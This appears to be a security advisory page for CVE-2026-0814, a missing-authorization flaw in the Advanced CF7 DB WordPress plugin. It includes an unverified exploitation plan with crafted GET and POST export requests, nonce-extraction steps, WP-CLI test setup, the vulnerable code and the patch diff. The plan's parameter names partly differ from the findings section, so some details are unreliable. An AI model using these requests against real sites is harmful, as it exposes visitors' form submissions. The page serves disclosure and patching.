CVE-2026-0814

Advanced CF7 DB <= 2.0.9 - Missing Authorization to Authenticated (Subscriber+) Form Submissions Excel Export

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
2.1.0
Patched in
1d
Time to patch

Description

The Advanced Contact form 7 DB plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the 'vsz_cf7_export_to_excel' function in all versions up to, and including, 2.0.9. This makes it possible for authenticated attackers, with Subscriber-level access and above, to export form submissions to excel file.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Low
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=2.0.9
PublishedApril 8, 2026
Last updatedApril 8, 2026
Affected pluginadvanced-cf7-db

What Changed in the Fix

Changes introduced in v2.1.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-0814 - Advanced CF7 DB Export Authorization Bypass ## 1. Vulnerability Summary The **Advanced Contact Form 7 DB** plugin (up to 2.0.9) contains a missing authorization vulnerability in the `vsz_cf7_export_to_excel` function. This function handles the logic for…

Show full research plan

Exploitation Research Plan: CVE-2026-0814 - Advanced CF7 DB Export Authorization Bypass

1. Vulnerability Summary

The Advanced Contact Form 7 DB plugin (up to 2.0.9) contains a missing authorization vulnerability in the vsz_cf7_export_to_excel function. This function handles the logic for exporting form submissions into Excel format. While the plugin implements some capability checks for its admin menu pages, the specific function responsible for triggering the export lacks a current_user_can() check. Consequently, any authenticated user, including those with Subscriber-level permissions, can trigger the export process by sending a crafted request to the WordPress admin dashboard, leading to unauthorized data disclosure.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin.php (or any admin page like index.php, as the handler is likely hooked to admin_init).
  • Trigger Parameter: vsz_cf7_export_excel (based on the name attribute of the submit button in contact_form_listing.php).
  • Required Parameters:
    • cf7_id: The ID of the Contact Form 7 to export.
    • vsz_cf7_export_excel: Set to 1 or the button label Export Excel.
    • _wpnonce: (Potentially required) The nonce for the action vsz-cf7-action-nonce.
  • Authentication: Authenticated (Subscriber+).
  • Vulnerable Function: vsz_cf7_export_to_excel (likely located in admin/class-advanced-cf7-db-admin.php).

3. Code Flow

  1. Request Reception: An authenticated user sends a GET or POST request to /wp-admin/ containing vsz_cf7_export_excel=1 and a valid cf7_id.
  2. Hook Execution: The WordPress admin_init hook fires. The plugin registers vsz_cf7_export_to_excel to this hook (or a similar early-stage admin hook).
  3. Missing Check: The function vsz_cf7_export_to_excel checks for the presence of the vsz_cf7_export_excel parameter but fails to verify if the current user has the manage_options capability or specific form view capabilities (cf7_db_form_view_[ID]).
  4. Data Retrieval: The function retrieves all entries for the specified cf7_id from the database table (stored in VSZ_CF7_DATA_ENTRY_TABLE_NAME).
  5. Response Generation: The plugin uses PhpOffice\PhpSpreadsheet to generate an .xlsx or .xls file and streams it to the user with appropriate headers (Content-Type: application/vnd.ms-excel).

4. Nonce Acquisition Strategy

The nonce vsz-cf7-action-nonce is generated in admin/partials/contact_form_listing.php. If the function verifies this nonce, a Subscriber must obtain it.

  1. Check Common Exposure: Plugins often expose nonces via wp_localize_script. Check the source of /wp-admin/profile.php for a global JS variable (likely named vsz_cf7_db_admin_obj or similar).
  2. Shortcode Method: The plugin uses shortcodes to display data. If a shortcode is placed on a page, it might enqueue scripts containing the nonce.
    • Check for shortcode registration: grep -r "add_shortcode" .
    • Create a page with the shortcode: wp post create --post_content='[cf7-db-display-ip]' ... (example from README).
  3. Browser Extraction:
    • Navigate to /wp-admin/profile.php.
    • Use browser_eval to search for the nonce: browser_eval("window.vsz_cf7_db_admin_obj?.nonce || document.body.innerHTML.match(/vsz-cf7-action-nonce/)").

Note: In admin/partials/contact_form_listing.php, the code if(!wp_verify_nonce( $nonce, 'vsz-cf7-action-nonce')) appears to verify a nonce against itself immediately after creation, suggesting the developer may have implemented nonce checks incorrectly or not at all in the actual export handler.

5. Exploitation Strategy

Step 1: Identify a valid Form ID

Use WP-CLI to find an existing Contact Form 7 ID.
wp post list --post_type=wpcf7_contact_form --format=ids

Step 2: Trigger Export

As a Subscriber, attempt to download the Excel file.

Request:

GET /wp-admin/admin.php?vsz_cf7_export_excel=1&cf7_id=TARGET_FID HTTP/1.1
Host: localhost
Cookie: [Subscriber Cookies]

If the above fails with a 403 or redirect, try providing the nonce (if found):

GET /wp-admin/admin.php?vsz_cf7_export_excel=1&cf7_id=TARGET_FID&_wpnonce=NONCE_VALUE HTTP/1.1
Host: localhost
Cookie: [Subscriber Cookies]

6. Test Data Setup

  1. Install Dependencies: Ensure Contact Form 7 and Advanced CF7 DB are active.
  2. Create Form: wp post create --post_type=wpcf7_contact_form --post_title="Sensitive Leads" --post_status=publish. Let the ID be 123.
  3. Inject Data: Manually insert a row into the database to simulate a form submission.
    wp db query "INSERT INTO wp_cf7_vdata (created) VALUES (NOW());"
    DATA_ID=$(wp db query "SELECT LAST_INSERT_ID();" --silent --skip-column-names)
    wp db query "INSERT INTO wp_cf7_vdata_entry (cf7_id, data_id, name, value) VALUES (123, $DATA_ID, 'your-name', 'Target User');"
    wp db query "INSERT INTO wp_cf7_vdata_entry (cf7_id, data_id, name, value) VALUES (123, $DATA_ID, 'your-email', 'target@example.com');"
    
  4. Create Subscriber: wp user create attacker attacker@example.com --role=subscriber --user_pass=password.

7. Expected Results

  • The server should respond with 200 OK.
  • Content-Disposition header should contain attachment;filename=...excel....
  • The response body should contain binary spreadsheet data.
  • Parsing the response (or observing file size) should reveal the data injected in Step 6 ("Target User").

8. Verification Steps

  1. Confirm Role: Use wp user get attacker to verify the user is only a Subscriber.
  2. Validate Content: Save the response body to a file and check if it's a valid ZIP/Office document:
    file download.xlsx
  3. Compare Permissions: Attempt the same request without being
Research Findings
Static analysis — not yet PoC-verified

Summary

The Advanced Contact Form 7 DB plugin for WordPress lacks authorization and capability checks in its data export handlers. This allows authenticated users, including those with Subscriber-level permissions, to export all Contact Form 7 submissions to CSV or Excel files by providing a valid form ID.

Vulnerable Code

/* admin/class-advanced-cf7-db-admin.php lines ~948 (v2.0.9) */
//Setup export functionality here
if(isset($_POST['btn_export'])){
    //Get form ID
    $fid = (int)sanitize_text_field($_POST['fid']);

    //Get export id related information
    $ids_export = ((isset($_POST['del_id']) && !empty($_POST['del_id'])) ? implode(',', array_map('sanitize_text_field',$_POST['del_id'])) : '');
    $ids_export = ((isset($_POST['del_id']) && !empty($_POST['del_id'])) ? implode(',', array_map('intval',$_POST['del_id'])) : '');
    ///Get export type related information
    $type = sanitize_text_field($_POST['vsz-cf7-export']);
    //Check type name and execute type related CASE
    switch ($type) {
        case 'csv':
            $this->vsz_cf7_export_to_csv($fid, $ids_export);
            break;
        case 'excel':
            $this->vsz_cf7_export_to_excel($fid, $ids_export);
            break;
    }
}

---

/* admin/class-advanced-cf7-db-admin.php lines ~1508 (v2.0.9) */
public function vsz_cf7_export_to_excel($fid, $ids_export = ''){
	global $wpdb;
	include_once(ABSPATH . 'wp-content/plugins/advanced-cf7-db/includes/libraries/excel/xls/vendor/autoload.php');

	$fid = intval($fid);
	if( empty( $fid ) ){
    	return 'You do not have the permission to export the data';
    }
    $fields = vsz_cf7_get_db_fields($fid);
    // ... logic continues to query database and output file stream ...

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/advanced-cf7-db/2.0.9/admin/class-advanced-cf7-db-admin.php
+++ /home/deploy/wp-safety.org/data/plugin-versions/advanced-cf7-db/2.1.0/admin/class-advanced-cf7-db-admin.php
@@ -948,8 +953,24 @@
 
 		//Setup export functionality here
 		if(isset($_POST['btn_export'])){
+			//Verify nonce
+			if(!isset($_POST['_wpnonce']) || empty($_POST['_wpnonce'])){
+				wp_die(__('Security check failed: Missing nonce.'));
+			}
+			$nonce = isset($_POST['_wpnonce']) ? sanitize_text_field(wp_unslash($_POST['_wpnonce'])) : '';
+			if(!wp_verify_nonce($nonce, 'vsz-cf7-action-nonce')) {
+				wp_die(__('Security check failed: Invalid nonce.'));
+			}
+
 			//Get form ID
-			$fid = (int)sanitize_text_field($_POST['fid']);
+			$fid = (int)sanitize_text_field(wp_unslash($_POST['fid']));
+
+			//Check capability - user must have view or edit permission for this form
+			$view_cap = 'cf7_db_form_view_'.$fid;
+			$edit_cap = 'cf7_db_form_edit_'.$fid;
+			if(!cf7_check_capability($view_cap) && !cf7_check_capability($edit_cap)){
+				wp_die(__('You do not have permission to export this data.'));
+			}
 
 			//Get export id related information
 			$ids_export = ((isset($_POST['del_id']) && !empty($_POST['del_id'])) ? implode(',', array_map('sanitize_text_field',$_POST['del_id'])) : '');

Exploit Outline

1. Authenticate as a Subscriber-level user. 2. Identify the target Form ID (`cf7_id` or `fid`) of the Contact Form 7 submissions you wish to steal. 3. Obtain a valid security nonce for the action `vsz-cf7-action-nonce`. This can typically be found in the admin dashboard source code (e.g., on `profile.php`) or leaked via enqueued scripts if the plugin does not properly restrict where the nonce is displayed. 4. Send a POST request to `/wp-admin/admin.php?page=contact-form-listing` with the following parameters: `btn_export=1`, `fid=[Target FID]`, `vsz-cf7-export=excel` (or `csv`), and `_wpnonce=[Valid Nonce]`. 5. The server will respond with the binary Excel/CSV data containing all submitted entries for the specified form ID, bypassing any intended administrative restrictions.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.